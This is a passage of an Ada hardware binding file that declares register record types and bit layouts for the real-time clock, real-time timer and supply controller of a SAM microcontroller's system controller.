for MR_OUT1_Field use
(No_Wave => 0,
Freq1Hz => 1,
Freq32Hz => 2,
Freq64Hz => 3,
Freq512Hz => 4,
Alarm_Toggle => 5,
Alarm_Flag => 6,
Prog_Pulse => 7);
-- High Duration of the Output Pulse
type MR_THIGH_Field is
(
-- 31.2 ms
H_31Ms,
-- 15.6 ms
H_16Ms,
-- 3.91 Lms
H_4Ms,
-- 976 us
H_976Us,
-- 488 us
H_488Us,
-- 122 us
H_122Us,
-- 30.5 us
H_30Us,
-- 15.2 us
H_15Us)
with Size => 3;
for MR_THIGH_Field use
(H_31Ms => 0,
H_16Ms => 1,
H_4Ms => 2,
H_976Us => 3,
H_488Us => 4,
H_122Us => 5,
H_30Us => 6,
H_15Us => 7);
-- Period of the Output Pulse
type MR_TPERIOD_Field is
(
-- 1 second
P_1S,
-- 500 ms
P_500Ms,
-- 250 ms
P_250Ms,
-- 125 ms
P_125Ms)
with Size => 2;
for MR_TPERIOD_Field use
(P_1S => 0,
P_500Ms => 1,
P_250Ms => 2,
P_125Ms => 3);
-- Mode Register
type RTC_MR_Register is record
-- 12-/24-hour Mode
HRMOD : Boolean := False;
-- PERSIAN Calendar
PERSIAN : Boolean := False;
-- unspecified
Reserved_2_3 : Interfaces.SAM.UInt2 := 16#0#;
-- NEGative PPM Correction
NEGPPM : Boolean := False;
-- unspecified
Reserved_5_7 : Interfaces.SAM.UInt3 := 16#0#;
-- Slow Clock Correction
CORRECTION : RTC_MR_CORRECTION_Field := 16#0#;
-- HIGH PPM Correction
HIGHPPM : Boolean := False;
-- RTCOUT0 Output Source Selection
OUT0 : MR_OUT0_Field := Interfaces.SAM.SYSC.No_Wave;
-- unspecified
Reserved_19_19 : Interfaces.SAM.Bit := 16#0#;
-- RTCOUT1 Output Source Selection
OUT1 : MR_OUT1_Field := Interfaces.SAM.SYSC.No_Wave;
-- unspecified
Reserved_23_23 : Interfaces.SAM.Bit := 16#0#;
-- High Duration of the Output Pulse
THIGH : MR_THIGH_Field := Interfaces.SAM.SYSC.H_31Ms;
-- unspecified
Reserved_27_27 : Interfaces.SAM.Bit := 16#0#;
-- Period of the Output Pulse
TPERIOD : MR_TPERIOD_Field := Interfaces.SAM.SYSC.P_1S;
-- unspecified
Reserved_30_31 : Interfaces.SAM.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_MR_Register use record
HRMOD at 0 range 0 .. 0;
PERSIAN at 0 range 1 .. 1;
Reserved_2_3 at 0 range 2 .. 3;
NEGPPM at 0 range 4 .. 4;
Reserved_5_7 at 0 range 5 .. 7;
CORRECTION at 0 range 8 .. 14;
HIGHPPM at 0 range 15 .. 15;
OUT0 at 0 range 16 .. 18;
Reserved_19_19 at 0 range 19 .. 19;
OUT1 at 0 range 20 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
THIGH at 0 range 24 .. 26;
Reserved_27_27 at 0 range 27 .. 27;
TPERIOD at 0 range 28 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
subtype RTC_TIMR_SEC_Field is Interfaces.SAM.UInt7;
subtype RTC_TIMR_MIN_Field is Interfaces.SAM.UInt7;
subtype RTC_TIMR_HOUR_Field is Interfaces.SAM.UInt6;
-- Time Register
type RTC_TIMR_Register is record
-- Current Second
SEC : RTC_TIMR_SEC_Field := 16#0#;
-- unspecified
Reserved_7_7 : Interfaces.SAM.Bit := 16#0#;
-- Current Minute
MIN : RTC_TIMR_MIN_Field := 16#0#;
-- unspecified
Reserved_15_15 : Interfaces.SAM.Bit := 16#0#;
-- Current Hour
HOUR : RTC_TIMR_HOUR_Field := 16#0#;
-- Ante Meridiem Post Meridiem Indicator
AMPM : Boolean := False;
-- unspecified
Reserved_23_31 : Interfaces.SAM.UInt9 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_TIMR_Register use record
SEC at 0 range 0 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
MIN at 0 range 8 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
HOUR at 0 range 16 .. 21;
AMPM at 0 range 22 .. 22;
Reserved_23_31 at 0 range 23 .. 31;
end record;
subtype RTC_CALR_CENT_Field is Interfaces.SAM.UInt7;
subtype RTC_CALR_YEAR_Field is Interfaces.SAM.Byte;
subtype RTC_CALR_MONTH_Field is Interfaces.SAM.UInt5;
subtype RTC_CALR_DAY_Field is Interfaces.SAM.UInt3;
subtype RTC_CALR_DATE_Field is Interfaces.SAM.UInt6;
-- Calendar Register
type RTC_CALR_Register is record
-- Current Century
CENT : RTC_CALR_CENT_Field := 16#20#;
-- unspecified
Reserved_7_7 : Interfaces.SAM.Bit := 16#0#;
-- Current Year
YEAR : RTC_CALR_YEAR_Field := 16#10#;
-- Current Month
MONTH : RTC_CALR_MONTH_Field := 16#1#;
-- Current Day in Current Week
DAY : RTC_CALR_DAY_Field := 16#5#;
-- Current Day in Current Month
DATE : RTC_CALR_DATE_Field := 16#1#;
-- unspecified
Reserved_30_31 : Interfaces.SAM.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_CALR_Register use record
CENT at 0 range 0 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
YEAR at 0 range 8 .. 15;
MONTH at 0 range 16 .. 20;
DAY at 0 range 21 .. 23;
DATE at 0 range 24 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
subtype RTC_TIMALR_SEC_Field is Interfaces.SAM.UInt7;
subtype RTC_TIMALR_MIN_Field is Interfaces.SAM.UInt7;
subtype RTC_TIMALR_HOUR_Field is Interfaces.SAM.UInt6;
-- Time Alarm Register
type RTC_TIMALR_Register is record
-- Second Alarm
SEC : RTC_TIMALR_SEC_Field := 16#0#;
-- Second Alarm Enable
SECEN : Boolean := False;
-- Minute Alarm
MIN : RTC_TIMALR_MIN_Field := 16#0#;
-- Minute Alarm Enable
MINEN : Boolean := False;
-- Hour Alarm
HOUR : RTC_TIMALR_HOUR_Field := 16#0#;
-- AM/PM Indicator
AMPM : Boolean := False;
-- Hour Alarm Enable
HOUREN : Boolean := False;
-- unspecified
Reserved_24_31 : Interfaces.SAM.Byte := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_TIMALR_Register use record
SEC at 0 range 0 .. 6;
SECEN at 0 range 7 .. 7;
MIN at 0 range 8 .. 14;
MINEN at 0 range 15 .. 15;
HOUR at 0 range 16 .. 21;
AMPM at 0 range 22 .. 22;
HOUREN at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype RTC_CALALR_MONTH_Field is Interfaces.SAM.UInt5;
subtype RTC_CALALR_DATE_Field is Interfaces.SAM.UInt6;
-- Calendar Alarm Register
type RTC_CALALR_Register is record
-- unspecified
Reserved_0_15 : Interfaces.SAM.UInt16 := 16#0#;
-- Month Alarm
MONTH : RTC_CALALR_MONTH_Field := 16#1#;
-- unspecified
Reserved_21_22 : Interfaces.SAM.UInt2 := 16#0#;
-- Month Alarm Enable
MTHEN : Boolean := False;
-- Date Alarm
DATE : RTC_CALALR_DATE_Field := 16#1#;
-- unspecified
Reserved_30_30 : Interfaces.SAM.Bit := 16#0#;
-- Date Alarm Enable
DATEEN : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_CALALR_Register use record
Reserved_0_15 at 0 range 0 .. 15;
MONTH at 0 range 16 .. 20;
Reserved_21_22 at 0 range 21 .. 22;
MTHEN at 0 range 23 .. 23;
DATE at 0 range 24 .. 29;
Reserved_30_30 at 0 range 30 .. 30;
DATEEN at 0 range 31 .. 31;
end record;
-- Acknowledge for Update
type SR_ACKUPD_Field is
(
-- Time and calendar registers cannot be updated.
Freerun,
-- Time and calendar registers can be updated.
Update)
with Size => 1;
for SR_ACKUPD_Field use
(Freerun => 0,
Update => 1);
-- Alarm Flag
type SR_ALARM_Field is
(
-- No alarm matching condition occurred.
No_Alarmevent,
-- An alarm matching condition has occurred.
Alarmevent)
with Size => 1;
for SR_ALARM_Field use
(No_Alarmevent => 0,
Alarmevent => 1);
-- Second Event
type SR_SEC_Field is
(
-- No second event has occurred since the last clear.
No_Secevent,
-- At least one second event has occurred since the last clear.
Secevent)
with Size => 1;
for SR_SEC_Field use
(No_Secevent => 0,
Secevent => 1);
-- Time Event
type SR_TIMEV_Field is
(
-- No time event has occurred since the last clear.
No_Timevent,
-- At least one time event has occurred since the last clear.
Timevent)
with Size => 1;
for SR_TIMEV_Field use
(No_Timevent => 0,
Timevent => 1);
-- Calendar Event
type SR_CALEV_Field is
(
-- No calendar event has occurred since the last clear.
No_Calevent,
-- At least one calendar event has occurred since the last clear.
Calevent)
with Size => 1;
for SR_CALEV_Field use
(No_Calevent => 0,
Calevent => 1);
-- Time and/or Date Free Running Error
type SR_TDERR_Field is
(
-- The internal free running counters are carrying valid values since
-- the last read of RTC_SR.
Correct,
-- The internal free running counters have been corrupted (invalid date
-- or time, non-BCD values) since the last read and/or they are still
-- invalid.
Err_Timedate)
with Size => 1;
for SR_TDERR_Field use
(Correct => 0,
Err_Timedate => 1);
-- Status Register
type RTC_SR_Register is record
-- Read-only. Acknowledge for Update
ACKUPD : SR_ACKUPD_Field;
-- Read-only. Alarm Flag
ALARM : SR_ALARM_Field;
-- Read-only. Second Event
SEC : SR_SEC_Field;
-- Read-only. Time Event
TIMEV : SR_TIMEV_Field;
-- Read-only. Calendar Event
CALEV : SR_CALEV_Field;
-- Read-only. Time and/or Date Free Running Error
TDERR : SR_TDERR_Field;
-- unspecified
Reserved_6_31 : Interfaces.SAM.UInt26;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_SR_Register use record
ACKUPD at 0 range 0 .. 0;
ALARM at 0 range 1 .. 1;
SEC at 0 range 2 .. 2;
TIMEV at 0 range 3 .. 3;
CALEV at 0 range 4 .. 4;
TDERR at 0 range 5 .. 5;
Reserved_6_31 at 0 range 6 .. 31;
end record;
-- Status Clear Command Register
type RTC_SCCR_Register is record
-- Write-only. Acknowledge Clear
ACKCLR : Boolean := False;
-- Write-only. Alarm Clear
ALRCLR : Boolean := False;
-- Write-only. Second Clear
SECCLR : Boolean := False;
-- Write-only. Time Clear
TIMCLR : Boolean := False;
-- Write-only. Calendar Clear
CALCLR : Boolean := False;
-- Write-only. Time and/or Date Free Running Error Clear
TDERRCLR : Boolean := False;
-- unspecified
Reserved_6_31 : Interfaces.SAM.UInt26 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_SCCR_Register use record
ACKCLR at 0 range 0 .. 0;
ALRCLR at 0 range 1 .. 1;
SECCLR at 0 range 2 .. 2;
TIMCLR at 0 range 3 .. 3;
CALCLR at 0 range 4 .. 4;
TDERRCLR at 0 range 5 .. 5;
Reserved_6_31 at 0 range 6 .. 31;
end record;
-- Interrupt Enable Register
type RTC_IER_Register is record
-- Write-only. Acknowledge Update Interrupt Enable
ACKEN : Boolean := False;
-- Write-only. Alarm Interrupt Enable
ALREN : Boolean := False;
-- Write-only. Second Event Interrupt Enable
SECEN : Boolean := False;
-- Write-only. Time Event Interrupt Enable
TIMEN : Boolean := False;
-- Write-only. Calendar Event Interrupt Enable
CALEN : Boolean := False;
-- Write-only. Time and/or Date Error Interrupt Enable
TDERREN : Boolean := False;
-- unspecified
Reserved_6_31 : Interfaces.SAM.UInt26 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_IER_Register use record
ACKEN at 0 range 0 .. 0;
ALREN at 0 range 1 .. 1;
SECEN at 0 range 2 .. 2;
TIMEN at 0 range 3 .. 3;
CALEN at 0 range 4 .. 4;
TDERREN at 0 range 5 .. 5;
Reserved_6_31 at 0 range 6 .. 31;
end record;
-- Interrupt Disable Register
type RTC_IDR_Register is record
-- Write-only. Acknowledge Update Interrupt Disable
ACKDIS : Boolean := False;
-- Write-only. Alarm Interrupt Disable
ALRDIS : Boolean := False;
-- Write-only. Second Event Interrupt Disable
SECDIS : Boolean := False;
-- Write-only. Time Event Interrupt Disable
TIMDIS : Boolean := False;
-- Write-only. Calendar Event Interrupt Disable
CALDIS : Boolean := False;
-- Write-only. Time and/or Date Error Interrupt Disable
TDERRDIS : Boolean := False;
-- unspecified
Reserved_6_31 : Interfaces.SAM.UInt26 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_IDR_Register use record
ACKDIS at 0 range 0 .. 0;
ALRDIS at 0 range 1 .. 1;
SECDIS at 0 range 2 .. 2;
TIMDIS at 0 range 3 .. 3;
CALDIS at 0 range 4 .. 4;
TDERRDIS at 0 range 5 .. 5;
Reserved_6_31 at 0 range 6 .. 31;
end record;
-- Interrupt Mask Register
type RTC_IMR_Register is record
-- Read-only. Acknowledge Update Interrupt Mask
ACK : Boolean;
-- Read-only. Alarm Interrupt Mask
ALR : Boolean;
-- Read-only. Second Event Interrupt Mask
SEC : Boolean;
-- Read-only. Time Event Interrupt Mask
TIM : Boolean;
-- Read-only. Calendar Event Interrupt Mask
CAL : Boolean;
-- unspecified
Reserved_5_31 : Interfaces.SAM.UInt27;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_IMR_Register use record
ACK at 0 range 0 .. 0;
ALR at 0 range 1 .. 1;
SEC at 0 range 2 .. 2;
TIM at 0 range 3 .. 3;
CAL at 0 range 4 .. 4;
Reserved_5_31 at 0 range 5 .. 31;
end record;
-- Valid Entry Register
type RTC_VER_Register is record
-- Read-only. Non-valid Time
NVTIM : Boolean;
-- Read-only. Non-valid Calendar
NVCAL : Boolean;
-- Read-only. Non-valid Time Alarm
NVTIMALR : Boolean;
-- Read-only. Non-valid Calendar Alarm
NVCALALR : Boolean;
-- unspecified
Reserved_4_31 : Interfaces.SAM.UInt28;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTC_VER_Register use record
NVTIM at 0 range 0 .. 0;
NVCAL at 0 range 1 .. 1;
NVTIMALR at 0 range 2 .. 2;
NVCALALR at 0 range 3 .. 3;
Reserved_4_31 at 0 range 4 .. 31;
end record;
subtype RTT_MR_RTPRES_Field is Interfaces.SAM.UInt16;
-- Mode Register
type RTT_MR_Register is record
-- Real-time Timer Prescaler Value
RTPRES : RTT_MR_RTPRES_Field := 16#8000#;
-- Alarm Interrupt Enable
ALMIEN : Boolean := False;
-- Real-time Timer Increment Interrupt Enable
RTTINCIEN : Boolean := False;
-- Real-time Timer Restart
RTTRST : Boolean := False;
-- unspecified
Reserved_19_19 : Interfaces.SAM.Bit := 16#0#;
-- Real-time Timer Disable
RTTDIS : Boolean := False;
-- unspecified
Reserved_21_23 : Interfaces.SAM.UInt3 := 16#0#;
-- Real-Time Clock 1Hz Clock Selection
RTC1HZ : Boolean := False;
-- unspecified
Reserved_25_31 : Interfaces.SAM.UInt7 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTT_MR_Register use record
RTPRES at 0 range 0 .. 15;
ALMIEN at 0 range 16 .. 16;
RTTINCIEN at 0 range 17 .. 17;
RTTRST at 0 range 18 .. 18;
Reserved_19_19 at 0 range 19 .. 19;
RTTDIS at 0 range 20 .. 20;
Reserved_21_23 at 0 range 21 .. 23;
RTC1HZ at 0 range 24 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
-- Status Register
type RTT_SR_Register is record
-- Read-only. Real-time Alarm Status
ALMS : Boolean;
-- Read-only. Real-time Timer Increment
RTTINC : Boolean;
-- unspecified
Reserved_2_31 : Interfaces.SAM.UInt30;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for RTT_SR_Register use record
ALMS at 0 range 0 .. 0;
RTTINC at 0 range 1 .. 1;
Reserved_2_31 at 0 range 2 .. 31;
end record;
-- Voltage Regulator Off
type CR_VROFF_Field is
(
-- no effect.
No_Effect,
-- if KEY is correct, asserts vddcore_nreset and stops the voltage
-- regulator.
Stop_Vreg)
with Size => 1;
for CR_VROFF_Field use
(No_Effect => 0,
Stop_Vreg => 1);
-- Crystal Oscillator Select
type CR_XTALSEL_Field is
(
-- no effect.
No_Effect,
-- if KEY is correct, switches the slow clock on the crystal oscillator
-- output.
Crystal_Sel)
with Size => 1;
for CR_XTALSEL_Field use
(No_Effect => 0,
Crystal_Sel => 1);
subtype SUPC_CR_KEY_Field is Interfaces.SAM.Byte;
-- Supply Controller Control Register
type SUPC_CR_Register is record
-- unspecified
Reserved_0_1 : Interfaces.SAM.UInt2 := 16#0#;
-- Write-only. Voltage Regulator Off
VROFF : CR_VROFF_Field := Interfaces.SAM.SYSC.No_Effect;
-- Write-only. Crystal Oscillator Select
XTALSEL : CR_XTALSEL_Field := Interfaces.SAM.SYSC.No_Effect;
-- unspecified
Reserved_4_23 : Interfaces.SAM.UInt20 := 16#0#;
-- Write-only. Password
KEY : SUPC_CR_KEY_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SUPC_CR_Register use record
Reserved_0_1 at 0 range 0 .. 1;
VROFF at 0 range 2 .. 2;
XTALSEL at 0 range 3 .. 3;
Reserved_4_23 at 0 range 4 .. 23;
KEY at 0 range 24 .. 31;
end record;
subtype SUPC_SMMR_SMTH_Field is Interfaces.SAM.UInt4;
-- Supply Monitor Sampling Period
type SMMR_SMSMPL_Field is
(
-- Supply Monitor disabled
Smd,
-- Continuous Supply Monitor
Csm,
-- Supply Monitor enabled one SLCK period every 32 SLCK periods
SMMR_SMSMPL_Field_32Slck,
-- Supply Monitor enabled one SLCK period every 256 SLCK periods
SMMR_SMSMPL_Field_256Slck,
-- Supply Monitor enabled one SLCK period every 2,048 SLCK periods
SMMR_SMSMPL_Field_2048Slck)
with Size => 3;
for SMMR_SMSMPL_Field use
(Smd => 0,
Csm => 1,
SMMR_SMSMPL_Field_32Slck => 2,
SMMR_SMSMPL_Field_256Slck => 3,
SMMR_SMSMPL_Field_2048Slck => 4);
-- Supply Monitor Reset Enable
type SMMR_SMRSTEN_Field is
(
-- the core reset signal "vddcore_nreset" is not affected when a supply
-- monitor detection occurs.
Not_Enable,
-- the core reset signal, vddcore_nreset is asserted when a supply
-- monitor detection occurs.
Enable)
with Size => 1;
for SMMR_SMRSTEN_Field use
(Not_Enable => 0,
Enable => 1);
-- Supply Monitor Interrupt Enable
type SMMR_SMIEN_Field is
(
-- the SUPC interrupt signal is not affected when a supply monitor
-- detection occurs.
Not_Enable,
-- the SUPC interrupt signal is asserted when a supply monitor detection
-- occurs.
Enable)
with Size => 1;
for SMMR_SMIEN_Field use
(Not_Enable => 0,
Enable => 1);
-- Supply Controller Supply Monitor Mode Register
type SUPC_SMMR_Register is record
-- Supply Monitor Threshold
SMTH : SUPC_SMMR_SMTH_Field := 16#0#;
-- unspecified
Reserved_4_7 : Interfaces.SAM.UInt4 := 16#0#;
-- Supply Monitor Sampling Period
SMSMPL : SMMR_SMSMPL_Field := Interfaces.SAM.SYSC.Smd;
-- unspecified
Reserved_11_11 : Interfaces.SAM.Bit := 16#0#;
-- Supply Monitor Reset Enable
SMRSTEN : SMMR_SMRSTEN_Field := Interfaces.SAM.SYSC.Not_Enable;
-- Supply Monitor Interrupt Enable
SMIEN : SMMR_SMIEN_Field := Interfaces.SAM.SYSC.Not_Enable;
-- unspecified
Reserved_14_31 : Interfaces.SAM.UInt18 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SUPC_SMMR_Register use record
SMTH at 0 range 0 .. 3;
Reserved_4_7 at 0 range 4 .. 7;
SMSMPL at 0 range 8 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
SMRSTEN at 0 range 12 .. 12;
SMIEN at 0 range 13 .. 13;
Reserved_14_31 at 0 range 14 .. 31;
end record;
-- Brownout Detector Reset Enable
type MR_BODRSTEN_Field is
(
-- the core reset signal "vddcore_nreset" is not affected when a
-- brownout detection occurs.
Not_Enable,
-- the core reset signal, vddcore_nreset is asserted when a brownout
-- detection occurs.
Enable)
with Size => 1;
for MR_BODRSTEN_Field use
(Not_Enable => 0,
Enable => 1);
-- Brownout Detector Disable
type MR_BODDIS_Field is
(
-- the core brownout detector is enabled.
Enable,
-- the core brownout detector is disabled.
Disable)
with Size => 1;
for MR_BODDIS_Field use
(Enable => 0,
Disable => 1);
-- Voltage Regulator enable
type MR_ONREG_Field is
(
-- Internal voltage regulator is not used (external power supply is
-- used)
Onreg_Unused,
-- internal voltage regulator is used
Onreg_Used)
with Size => 1;
for MR_ONREG_Field use
(Onreg_Unused => 0,
Onreg_Used => 1);
-- Oscillator Bypass
type MR_OSCBYPASS_Field is
(
-- no effect. Clock selection depends on XTALSEL value.
No_Effect,
-- the 32-KHz XTAL oscillator is selected and is put in bypass mode.
Bypass)
with Size => 1;
for MR_OSCBYPASS_Field use
(No_Effect => 0,
Bypass => 1);
subtype SUPC_MR_KEY_Field is Interfaces.SAM.Byte;
-- Supply Controller Mode Register
type SUPC_MR_Register is record
-- unspecified
Reserved_0_11 : Interfaces.SAM.UInt12 := 16#A00#;
-- Brownout Detector Reset Enable
BODRSTEN : MR_BODRSTEN_Field := Interfaces.SAM.SYSC.Enable;
-- Brownout Detector Disable
BODDIS : MR_BODDIS_Field := Interfaces.SAM.SYSC.Enable;
-- Voltage Regulator enable
ONREG : MR_ONREG_Field := Interfaces.SAM.SYSC.Onreg_Used;
-- unspecified
Reserved_15_19 : Interfaces.SAM.UInt5 := 16#0#;
-- Oscillator Bypass
OSCBYPASS : MR_OSCBYPASS_Field := Interfaces.SAM.SYSC.No_Effect;
-- unspecified
Reserved_21_23 : Interfaces.SAM.UInt3 := 16#0#;
-- Password Key
KEY : SUPC_MR_KEY_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SUPC_MR_Register use record
Reserved_0_11 at 0 range 0 .. 11;
BODRSTEN at 0 range 12 .. 12;
BODDIS at 0 range 13 .. 13;
ONREG at 0 range 14 .. 14;
Reserved_15_19 at 0 range 15 .. 19;
OSCBYPASS at 0 range 20 .. 20;
Reserved_21_23 at 0 range 21 .. 23;
KEY at 0 range 24 .. 31;
end record;
-- Supply Monitor Wake Up Enable
type WUMR_SMEN_Field is
(
-- the supply monitor detection has no wake up effect.
Not_Enable,
-- the supply monitor detection forces the wake up of the core power
-- supply.
Enable)
with Size => 1;
for WUMR_SMEN_Field use
(Not_Enable => 0,
Enable => 1);
-- Real Time Timer Wake Up Enable
type WUMR_RTTEN_Field is
(
-- the RTT alarm signal has no wake up effect.
Not_Enable,
-- the RTT alarm signal forces the wake up of the core power supply.
Enable)
with Size => 1;
for WUMR_RTTEN_Field use
(Not_Enable => 0,
Enable => 1);
-- Real Time Clock Wake Up Enable
type WUMR_RTCEN_Field is
(
-- the RTC alarm signal has no wake up effect.
Not_Enable,
-- the RTC alarm signal forces the wake up of the core power supply.
Enable)
with Size => 1;
for WUMR_RTCEN_Field use
(Not_Enable => 0,
Enable => 1);
-- Low power Debouncer ENable WKUP0
type WUMR_LPDBCEN0_Field is
(
-- the WKUP0 input pin is not connected with low power debouncer.
Not_Enable,
-- the WKUP0 input pin is connected with low power debouncer and can
-- force a core wake up.
Enable)
with Size => 1;
for WUMR_LPDBCEN0_Field use
(Not_Enable => 0,
Enable => 1);
-- Low power Debouncer ENable WKUP1
type WUMR_LPDBCEN1_Field is
(
-- the WKUP1input pin is not connected with low power debouncer.
Not_Enable,
-- the WKUP1 input pin is connected with low power debouncer and can
-- force a core wake up.
Enable)
with Size => 1;
for WUMR_LPDBCEN1_Field use
(Not_Enable => 0,
Enable => 1);
-- Low power Debouncer Clear
type WUMR_LPDBCCLR_Field is
(
-- a low power debounce event does not create an immediate clear on
-- first half GPBR registers.
Not_Enable,
-- a low power debounce event on WKUP0 or WKUP1 generates an immediate
-- clear on first half GPBR registers.
Enable)
with Size => 1;
for WUMR_LPDBCCLR_Field use
(Not_Enable => 0,
Enable => 1);
-- Wake Up Inputs Debouncer Period
type WUMR_WKUPDBC_Field is
(
-- Immediate, no debouncing, detected active at least on one Slow Clock
-- edge.
Immediate,
-- WKUPx shall be in its active state for at least 3 SLCK periods
WUMR_WKUPDBC_Field_3_Sclk,
-- WKUPx shall be in its active state for at least 32 SLCK periods
WUMR_WKUPDBC_Field_32_Sclk,
-- WKUPx shall be in its active state for at least 512 SLCK periods
WUMR_WKUPDBC_Field_512_Sclk,
-- WKUPx shall be in its active state for at least 4,096 SLCK periods
WUMR_WKUPDBC_Field_4096_Sclk,
-- WKUPx shall be in its active state for at least 32,768 SLCK periods
WUMR_WKUPDBC_Field_32768_Sclk)
with Size => 3;
for WUMR_WKUPDBC_Field use
(Immediate => 0,
WUMR_WKUPDBC_Field_3_Sclk => 1,
WUMR_WKUPDBC_Field_32_Sclk => 2,
WUMR_WKUPDBC_Field_512_Sclk => 3,
WUMR_WKUPDBC_Field_4096_Sclk => 4,
WUMR_WKUPDBC_Field_32768_Sclk => 5);
-- Low Power DeBounCer Period
type WUMR_LPDBC_Field is
(
-- Disable the low power debouncer.
Disable,
-- WKUP0/1 in its active state for at least 2 RTCOUT0 periods
WUMR_LPDBC_Field_2_Rtcout0,
-- WKUP0/1 in its active state for at least 3 RTCOUT0 periods
WUMR_LPDBC_Field_3_Rtcout0,
-- WKUP0/1 in its active state for at least 4 RTCOUT0 periods
WUMR_LPDBC_Field_4_Rtcout0,
-- WKUP0/1 in its active state for at least 5 RTCOUT0 periods
WUMR_LPDBC_Field_5_Rtcout0,
-- WKUP0/1 in its active state for at least 6 RTCOUT0 periods
WUMR_LPDBC_Field_6_Rtcout0,
-- WKUP0/1 in its active state for at least 7 RTCOUT0 periods
WUMR_LPDBC_Field_7_Rtcout0,
-- WKUP0/1 in its active state for at least 8 RTCOUT0 periods
WUMR_LPDBC_Field_8_Rtcout0)
with Size => 3;
for WUMR_LPDBC_Field use
(Disable => 0,
WUMR_LPDBC_Field_2_Rtcout0 => 1,
WUMR_LPDBC_Field_3_Rtcout0 => 2,
WUMR_LPDBC_Field_4_Rtcout0 => 3,
WUMR_LPDBC_Field_5_Rtcout0 => 4,
WUMR_LPDBC_Field_6_Rtcout0 => 5,
WUMR_LPDBC_Field_7_Rtcout0 => 6,
WUMR_LPDBC_Field_8_Rtcout0 => 7);
-- Supply Controller Wake Up Mode Register
type SUPC_WUMR_Register is record
-- unspecified
Reserved_0_0 : Interfaces.SAM.Bit := 16#0#;
-- Supply Monitor Wake Up Enable
SMEN : WUMR_SMEN_Field := Interfaces.SAM.SYSC.Not_Enable;
-- Real Time Timer Wake Up Enable
RTTEN : WUMR_RTTEN_Field := Interfaces.SAM.SYSC.Not_Enable;
-- Real Time Clock Wake Up Enable
RTCEN : WUMR_RTCEN_Field := Interfaces.SAM.SYSC.Not_Enable;
-- unspecified
Reserved_4_4 : Interfaces.SAM.Bit := 16#0#;
-- Low power Debouncer ENable WKUP0
LPDBCEN0 : WUMR_LPDBCEN0_Field := Interfaces.SAM.SYSC.Not_Enable;
-- Low power Debouncer ENable WKUP1
LPDBCEN1 : WUMR_LPDBCEN1_Field := Interfaces.SAM.SYSC.Not_Enable;
-- Low power Debouncer Clear
LPDBCCLR : WUMR_LPDBCCLR_Field := Interfaces.SAM.SYSC.Not_Enable;
-- unspecified
Reserved_8_11 : Interfaces.SAM.UInt4 := 16#0#;
-- Wake Up Inputs Debouncer Period
WKUPDBC : WUMR_WKUPDBC_Field := Interfaces.SAM.SYSC.Immediate;
-- unspecified
Reserved_15_15 : Interfaces.SAM.Bit := 16#0#;
-- Low Power DeBounCer Period
LPDBC : WUMR_LPDBC_Field := Interfaces.SAM.SYSC.Disable;
-- unspecified
Reserved_19_31 : Interfaces.SAM.UInt13 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SUPC_WUMR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
SMEN at 0 range 1 .. 1;
RTTEN at 0 range 2 .. 2;
RTCEN at 0 range 3 .. 3;
Reserved_4_4 at 0 range 4 .. 4;
LPDBCEN0 at 0 range 5 .. 5;
LPDBCEN1 at 0 range 6 .. 6;
LPDBCCLR at 0 range 7 .. 7;
Reserved_8_11 at 0 range 8 .. 11;
WKUPDBC at 0 range 12 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
LPDBC at 0 range 16 .. 18;
Reserved_19_31 at 0 range 19 .. 31;
end record;
-- Wake Up Input Enable 0
type WUIR_WKUPEN0_Field is
(
-- the corresponding wake-up input has no wake up effect.
Disable,
-- the corresponding wake-up input forces the wake up of the core power
-- supply.
Enable)
with Size => 1;
for WUIR_WKUPEN0_Field use
(Disable => 0,
Enable => 1);
-- SUPC_WUIR_WKUPEN array
type SUPC_WUIR_WKUPEN_Field_Array is array (0 .. 15) of WUIR_WKUPEN0_Field
with Component_Size => 1, Size => 16;
-- Type definition for SUPC_WUIR_WKUPEN
type SUPC_WUIR_WKUPEN_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- WKUPEN as a value
Val : Interfaces.SAM.UInt16;
when True =>
-- WKUPEN as an array
Arr : SUPC_WUIR_WKUPEN_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for SUPC_WUIR_WKUPEN_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Wake Up Input Type 0
type WUIR_WKUPT0_Field is
(
-- a low level for a period defined by WKUPDBC on the corresponding
-- wake-up input forces the wake up of the core power supply.
Low,
